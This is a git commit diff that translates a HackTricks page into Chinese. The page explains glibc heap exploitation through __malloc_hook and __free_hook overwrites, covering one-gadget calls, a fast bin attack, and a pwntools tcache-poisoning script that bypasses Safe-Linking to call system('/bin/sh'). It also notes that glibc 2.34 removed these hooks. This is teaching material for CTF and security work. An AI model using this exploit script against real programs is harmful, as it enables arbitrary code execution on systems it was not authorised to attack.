Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__ma

This commit is contained in:
Translator 2025-08-13 18:15:41 +00:00
parent b6506c840c
commit 34472227e7

View File

@ -1,14 +1,14 @@
# WWW2Exec - \_\_malloc_hook & \_\_free_hook
# WWW2Exec - __malloc_hook & __free_hook
{{#include ../../banners/hacktricks-training.md}}
## **Malloc Hook**
正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的,变量 **`__malloc_hook`** 是一个指针,指向 **每当调用 `malloc()` 时将被调用的函数的地址**,该地址 **存储在 libc 库的数据段中**。因此,如果这个地址被覆盖为一个 **One Gadget**,例如,当调用 `malloc` 时,**One Gadget 将被调用**。
正如你可以在 [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) 上看到的,变量 **`__malloc_hook`** 是一个指针,指向 **一个将在调用 `malloc()` 时被调用的函数的地址**,该地址 **存储在 libc 库的数据段中**。因此,如果这个地址被覆盖为一个 **One Gadget**,例如,当调用 `malloc` 时,**One Gadget 将被调用**。
要调用 malloc可以等待程序调用它或者通过 **调用 `printf("%10000$c")`**,这会分配太多字节,使得 `libc` 调用 malloc 在堆中分配它们。
要调用 malloc可以等待程序调用它或者通过 **调用 `printf("%10000$c")`**,这会分配过多的字节,使得 `libc` 调用 malloc 在堆中分配它们。
关 One Gadget 的更多信息,请参见
One Gadget 的更多信息:
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
@ -43,7 +43,7 @@ gef➤ p &__free_hook
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
</code></pre>
在前面代码中提到的中断位置,`$eax` 中将会存放 free hook 的地址。
在前面代码中提到的中断位置,`$eax` 中将会存放 free hook 的地址。
现在进行一个 **fast bin 攻击**
@ -60,11 +60,76 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
- 为此,创建一个大小为 `0xfc` 的新 chunk并用该指针调用合并函数两次这样我们就可以在快速 bin 中获得一个大小为 `0xfc*2 = 0x1f8` 的已释放 chunk 的指针。
- 然后,在这个 chunk 中调用编辑函数,将这个快速 bin 的 **`fd`** 地址修改为指向之前的 **`__free_hook`** 函数。
- 接着,创建一个大小为 `0x1f8` 的 chunk从快速 bin 中检索之前无用的 chunk因此再创建一个大小为 `0x1f8` 的 chunk以在 **`__free_hook`** 中获取一个快速 bin chunk并用 **`system`** 函数的地址覆盖它。
- 最后,释放一个包含字符串 `/bin/sh\x00` 的 chunk调用删除函数触发 **`__free_hook`** 函数,该函数将 `/bin/sh\x00` 作为参数指向 system。
- 最后,释放一个包含字符串 `/bin/sh\x00` 的 chunk调用删除函数触发指向系统的 **`__free_hook`** 函数,参数为 `/bin/sh\x00`
---
## Tcache 中毒与安全链接 (glibc 2.32 2.33)
glibc 2.32 引入了 **安全链接** 一种完整性检查,保护 **tcache** 和快速 bin 使用的 *单* 链表。ptmalloc 现在不再存储原始的前向指针 (`fd`),而是用以下宏进行 *混淆*
```c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
后果:
1. **堆泄漏**是必需的 攻击者必须知道`chunk_addr >> 12`的运行时值,以构造有效的混淆指针。
2. 只能伪造*完整*的8字节指针单字节部分覆盖将无法通过检查。
因此覆盖glibc 2.32/2.33上的`__free_hook`的最小tcache中毒原语如下
```py
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
```
上面的片段改编自最近的CTF挑战例如*UIUCTF 2024 «Rusty Pointers»*和*openECSC 2023 «Babyheap G»*这两个挑战都依赖于Safe-Linking绕过来覆盖`__free_hook`
---
## glibc ≥ 2.34 中发生了什么变化?
从**glibc 2.342021年8月**开始,分配钩子`__malloc_hook``__realloc_hook``__memalign_hook``__free_hook`被**从公共API中移除不再被分配器调用**。兼容符号仍然为遗留二进制文件导出,但覆盖它们不再影响`malloc()``free()`的控制流。
实际影响在现代发行版Ubuntu 22.04+、Fedora 35+、Debian 12等您必须转向*其他*劫持原语IO-FILE、`__run_exit_handlers`、vtable喷洒等因为钩子覆盖将静默失败。
如果您仍然需要旧的行为进行调试glibc提供`libc_malloc_debug.so`,可以预加载以重新启用遗留钩子——但该库**不适合生产环境,可能在未来的版本中消失**。
---
## 参考文献
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking 消除20年历史的malloc()漏洞原语Check Point Research2020
- glibc 2.34发布说明 移除malloc钩子
{{#include ../../banners/hacktricks-training.md}}